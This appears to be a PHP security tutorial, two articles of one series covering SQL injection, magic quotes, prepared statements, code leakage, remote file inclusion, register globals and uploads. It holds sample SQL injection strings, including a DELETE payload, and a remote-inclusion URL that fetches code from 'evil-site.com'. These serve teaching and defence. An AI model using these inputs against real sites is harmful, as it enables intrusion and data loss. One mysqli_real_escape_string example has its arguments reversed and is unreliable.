For those who don’t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' or '1' = '1. The string will be expanded to produce SELECT * FROM users WHERE name = '' or '1' = '1'. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.

Some database libraries (but not MySQL’s PHP extension) allow multiple SQL statements inside a single call, so if $name was set to '; DELETE FROM USERS -- in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.

Magic Quotes

PHP 4 introduced a feature called magic quotes that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you’ve ever seen a page which leaves backslashes in your input (think O\’Connor) then you know what I mean.

Magic quotes were also a failure because developers couldn’t ever assume that they were available or turned on in a given environment. Therefore they’d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The comments in PHP’s manual page offer a method of doing this.

A Better Solution

The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The MySQL Improved Extension (mysqli) and PHP Data Objects library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindValue(':name', $name);
$stmt->bindValue(':value', $value);
$stmt->execute();

If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using sprintf do this.

$sql = sprintf("SELECT * FROM user
			WHERE name = '%s'
			AND id > %d",
		mysqli_real_escape_string($name, $db),
		mysqli_real_escape_string($id, $db));

This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use func_get_args and vsprintf to create a function to do the querying and escaping in a single function.

Final Tips

Your final line of defence against SQL injection is to plan for the worst.

Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.

It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.

You should avoid printing your SQL errors (e.g. mysql_error()) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.

Physical Access

Even if your security is foolproof (which it won’t ever be) then you’re still in trouble if someone steals a physical device containing your data. Time and time again you’ll hear of someone stealing a laptop or discs containing sensitive information. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.

General Security Rules

I hope this tutorial has made you aware of some of the security issues you’ll be up against as a PHP developer. I’d like to leave you with a few tips that aren’t specific to any security issue, but are good to keep in mind.

• Build on the work of others. Don’t build your own security when you can use what other, smarter, people have already done.
• Where possible use whitelists instead of blacklists.
• Never trust your user’s input. Ever.

Other articles in this series

• Securing Your PHP Code – XSS
• Securing Your PHP Code – Server Security

Keeping Code Private

There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.

Of course everyone knows that security by obscurity is bad, but if you have holes in your code then it’s obviously better if other people didn’t know about them.

The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like “functions.inc” or “MyClass.class”, seemingly unaware that anyone can request those files and view the raw code.

As well as giving files a correct extension you also consider moving them out of your web root anyway. You don’t need them in there, and having them in a non-public path makes everything safer. If you don’t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess

Deny from all

Facebook recently had a configuration issue that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.

Remote Code Execution

The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.

Watch what you include or require. Many people use include as a shortcut in their templates. For example

<html>
<body>
	<div class="header">...</div>
	<?php include($_GET['page'] . '.php'); ?>
</body> 	
</html>

This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. /etc/passwd. PHP will also allow you to include files from a remote server. An attacker can use this “feature” against you a request to http://www.your-site.com/index.php?page=http://www.evil-site.com/malicious-script.php.txt would force your server to download and execute code from the “evil-site.com” domain. Once that happens the user can attack your system by executing shell functions.

If you want to use the above pattern of templating then you can easily implement a white list of safe files.

<?php
$page = $_GET['page'];
$pages = array('index', 'about', '404', 'help');
if (!in_array($page, $pages)) {
	$page = '404';
}
include("$page.php");
?>

Register Globals

In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of “?a=foo” would create a variable called $a in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is potentially dangerous. You should always turn off register globals in php.ini. If you can’t edit your php.ini then add the following to your .htaccess file

php_value register_globals 0

User Uploaded Files

Apache is set to pass any file with a “php” extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.

Form Validation

One final word of warning: don’t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don’t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.

Other articles in this series

• Securing Your PHP Code – XSS
• Securing Your PHP Code – Databases